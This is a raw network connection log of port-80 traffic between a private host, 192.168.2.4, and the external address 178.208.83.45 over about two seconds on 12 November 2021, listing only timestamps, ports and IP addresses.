Nov 12, 2021 22:23:36.643728018 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.643737078 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.643790007 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.643802881 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.643830061 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.643841028 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.643845081 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.643883944 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.643913984 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.644171000 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644191980 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644232988 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644239902 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.644241095 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644248962 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644257069 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644264936 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644270897 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644301891 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644309044 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644319057 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644328117 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644356012 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644368887 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644375086 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644382954 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644393921 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644428015 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644439936 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644454002 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644465923 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644474030 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644479990 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644493103 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644500017 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644506931 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644524097 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644550085 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644556999 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644567966 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644575119 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.644582987 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.663326979 CET	80	49859	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.666198015 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.666212082 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.666223049 CET	80	49859	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.666234970 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.666290045 CET	49859	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.666537046 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.666568995 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.668430090 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.668503046 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.782455921 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.782887936 CET	49859	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.784394979 CET	49860	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.804790974 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.804887056 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.805180073 CET	80	49859	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.805252075 CET	49859	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.806765079 CET	80	49860	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.806864977 CET	49860	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.807454109 CET	49860	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.829760075 CET	80	49860	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.833304882 CET	80	49860	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.833386898 CET	49860	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.938231945 CET	49860	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.939829111 CET	49861	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.961675882 CET	80	49860	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.961756945 CET	49860	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.963104010 CET	80	49861	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.963202000 CET	49861	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.964042902 CET	49861	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.986505032 CET	80	49861	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.112298965 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.134675026 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.135662079 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.136358976 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.136476040 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.136713982 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.136862993 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.158612013 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.158622026 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.158890963 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.158946991 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.158958912 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.158968925 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.159003973 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.159040928 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.159084082 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.159100056 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.159123898 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.159131050 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.159145117 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.159164906 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.159182072 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.159193039 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.159198999 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.159209967 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.181365967 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181391001 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181407928 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181423903 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181440115 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181446075 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.181454897 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181471109 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181492090 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.181538105 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.181550026 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181571007 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181586981 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181597948 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.181603909 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181622028 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181634903 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.181665897 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181677103 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.181710005 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181710958 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.181729078 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181744099 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181780100 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.181798935 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.181812048 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181857109 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.181907892 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.181925058 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.182135105 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.203677893 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.203701973 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.203778028 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.203778982 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.203794956 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.203829050 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.203855038 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.203923941 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.203993082 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204008102 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204022884 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204037905 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204050064 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.204054117 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204066038 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.204144955 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204160929 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204226017 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204267025 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204282045 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204299927 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204314947 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204330921 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204405069 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204423904 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204438925 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204463005 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204493046 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204508066 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204523087 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204538107 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204552889 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204569101 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204581976 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204602003 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204617023 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204663038 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204679012 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204693079 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204708099 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204822063 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204838037 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.204866886 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.226147890 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.226174116 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.226222992 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.226305962 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.226466894 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.226484060 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.277503014 CET	80	49861	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.277662039 CET	49861	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.279055119 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.279124022 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.391696930 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.392298937 CET	49861	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.393825054 CET	49863	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.416135073 CET	80	49862	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.416161060 CET	80	49861	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.416178942 CET	80	49863	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.416275978 CET	49862	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.416291952 CET	49861	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.416351080 CET	49863	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.419044971 CET	49863	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.444400072 CET	80	49863	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.448461056 CET	80	49863	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.448525906 CET	49863	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.564945936 CET	49863	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.566245079 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.587712049 CET	80	49863	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.587979078 CET	49863	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.588592052 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.588704109 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.589437962 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.611922026 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.617027998 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.617228031 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.712647915 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.712874889 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.713076115 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.713171005 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.725661993 CET	49865	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.735441923 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.735465050 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.735599041 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.735601902 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.735611916 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.735625982 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.735682964 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.735745907 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.735774040 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.747956991 CET	80	49865	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.748074055 CET	49865	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.748758078 CET	49865	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.758039951 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.758044958 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.758083105 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.758105040 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.758116961 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.758243084 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.758255959 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.758258104 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.758264065 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.758275986 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.758302927 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.758366108 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.758415937 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.758439064 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.758495092 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.771200895 CET	80	49865	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.775949955 CET	80	49865	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.776026011 CET	49865	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.780836105 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.780879021 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.780891895 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.780900002 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.780911922 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.780920982 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.780929089 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.780941010 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.780941963 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.780951023 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.780981064 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.781025887 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.781039000 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.781048059 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.781137943 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.781150103 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.781158924 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.781239986 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.781253099 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.781260967 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.781420946 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.803471088 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.803492069 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.803499937 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.804074049 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.806129932 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.806262970 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.891283035 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.891560078 CET	49865	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.892714024 CET	49866	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.913985968 CET	80	49864	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.914005041 CET	80	49865	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.914083958 CET	49864	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.914109945 CET	49865	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.915498018 CET	80	49866	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.915894985 CET	49866	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.916663885 CET	49866	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:37.940074921 CET	80	49866	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.942341089 CET	80	49866	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:37.945059061 CET	49866	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.047844887 CET	49866	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.049065113 CET	49867	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.070456982 CET	80	49866	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.070768118 CET	49866	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.071450949 CET	80	49867	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.071791887 CET	49867	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.084495068 CET	49867	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.109101057 CET	80	49867	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.111748934 CET	80	49867	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.111874104 CET	49867	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.206043959 CET	49867	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.207361937 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.220330954 CET	49869	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.231699944 CET	80	49867	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.231739998 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.231858015 CET	49867	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.231937885 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.232527971 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.232707977 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.232938051 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.233027935 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.246480942 CET	80	49869	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.247924089 CET	49869	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.248425961 CET	49869	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.256670952 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.256684065 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.256694078 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.256705046 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.256722927 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.256732941 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.256747961 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.256757975 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.256772995 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.256783009 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.256797075 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.256808043 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.256956100 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.257009029 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.271027088 CET	80	49869	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.275011063 CET	80	49869	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.275259972 CET	49869	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.282325983 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282368898 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282416105 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282444000 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282481909 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282510042 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282519102 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.282540083 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282571077 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.282572031 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282588005 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.282603979 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282603979 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.282633066 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282649040 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.282663107 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282685995 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.282692909 CET	80	49868	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:38.282715082 CET	49868	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:38.282721996 CET	80	49868	178.208.83.45	192.168.2.4
